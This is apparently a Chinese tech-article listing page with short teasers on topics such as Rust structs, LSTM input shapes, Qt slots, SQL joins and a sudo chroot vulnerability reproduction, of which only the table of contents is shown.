                                                                                                                          全新開源AI知識庫系統!PandaWiki一鍵構建智能文檔,支持AI問答、創作與搜索!

                                                                                                                          傳統 Wiki 工具像一本厚重的“死書”,雖能存儲信息,卻無法主動「思考」。而在當今AI席卷各個行業的浪潮中,知識管理也迎來了智能化的巨大飛躍。最近開源圈悄然走紅的 PandaWiki,就用 AI 大模型為知識庫注入了 靈魂, 它…

                                                                                                                          Rust 結構體

                                                                                                                          Rust 結構體 引言 Rust 是一種系統編程語言,以其內存安全、并發支持和零成本抽象而聞名。結構體(struct)是 Rust 中用于創建自定義數據類型的工具。本文將深入探討 Rust 結構體的概念、用法以及其在實際編程中的應用。 結構體的定義 在 Rust 中,結構體是一種復合類型,…

                                                                                                                          lstm 數據輸入問題

                                                                                                                          lstm 我有 20*6 條數據,20個樣本,每個樣本6條歷史數據,每條數據有5個值,我送給網絡輸入時應該是20*6*5 還是 6*20*5你的數據是:20 個樣本(batch size 20)每個樣本有 6 條歷史數據(s…

                                                                                                                          WPF打包exe應用的圖標問題

                                                                                                                          目錄 1、WPF打包方法 2、圖標問題 1、WPF打包方法 使用Microsoft Visual Studio Installer Projects 2022工具打包(成功),需要新建Setup Project項目進行打包 (46 封私信) [C#.net資料]visual studio打包可安裝的exe程序(添加配置文件)&am…

                                                                                                                          Qt中處理多個同類型對象共享槽函數應用

                                                                                                                          一.Qt中處理多個同類型對象共享槽函數應用場景數字鍵盤按鈕處理動態生成的控件管理工具欄按鈕響應游戲中的網格點擊處理使用時需特別注意對象生命周期管理和類型安全,現代Qt開發中更推薦使用Lambda表達式替代sender()機制。二.示例1.本文示例功能在ui界面添加5個&am…

                                                                                                                          康養休閑旅游服務實訓室建設方案:理實一體化的產教融合方案

                                                                                                                          一、康養休閑旅游服務實訓室建設方案建設原則對接行業真實場景:實訓環境與設備設施嚴格參照健康咨詢、旅行社及相關服務、住宿業、餐飲業等行業的真實職業場景搭建,確保實訓項目與崗位工作內容高度匹配,實現工學結合、理實一體化教學。融合前…

                                                                                                                          微服務架構的演進:邁向云原生——Java技術棧的實踐之路

                                                                                                                          隨著云計算技術的快速發展,微服務架構正逐步向云原生(Cloud Native)演進。云原生不僅是一種技術體系,更是一種開發和運維理念的革新。本文將以Java技術棧為例,結合Kubernetes(K8s)、服務網格&am…

                                                                                                                          CVE-2025-32463復現

                                                                                                                          目錄背景知識chroot環境chroot 環境的具體表現Name Service Switch (NSS)機制漏洞簡介環境搭建復現POC分析防御方法參考文章:背景知識 chroot環境 (全稱“change root”)是一種Unix/Linux系統中的隔離技術,其核心作用是將進程的…

                                                                                                                          原生微信小程序研發,如何對圖片進行統一管理?

                                                                                                                          目標: 統一在配置文件中管理圖片,用變量存儲,換圖標時只需修改鏈接即可,無需更改業務代碼,且方便查找。tips: 不建議在 asset 中存儲大量圖片,原因是官方要求小程序內存要限制在2M以內,圖片放多…

                                                                                                                          Escrcpy(手機投屏) v1.27.2 便攜版

                                                                                                                          Escrcpy 是一款強大的工具,它允許用戶通過圖形化的 Scrcpy 界面來顯示和控制他們的 Android 設備。這款應用程序由 Electron 作為其底層框架驅動。Escrcpy 無需任何賬戶就可以使用,無需擔心隱私或安全問題。Escrcpy沒有廣告,完全免費開源。軟…

                                                                                                                          element-plus表單校驗失敗問題

                                                                                                                          一、問題:做表單校驗時,自定義校驗和常規校驗都失敗,自定義校驗時無法拿到value值。二、原因:1、變量名稱那沒有綁定prop。如果是常規校驗,沒綁定prop的話,在確定按鈕時,valid都是true。2、自定…

                                                                                                                          jmeter做跨線程組

                                                                                                                          多線程通常會將不同的業務邏輯分配到不同的線程組中。為什么要做多線程:模擬真實世界場景:在實際應用中,服務器通常需要同時處理來自多個用戶的請求。通過多線程,JMeter可以模擬這種并發用戶的行為,更準確地反映出應用…

                                                                                                                          SQL實戰:多表查詢篇

                                                                                                                          文章目錄多表查詢創建練習用的數據庫鏈接/連接查詢交叉連接自然連接內連接(取交集)外連接左外連接/右外連接自連接子查詢聯合查詢總結數據庫的備份和恢復命令行操作多表查詢 -- 獲得 alice的 部門所在城市 select * from staff where namealice; -- 獲得dept_id1 select city …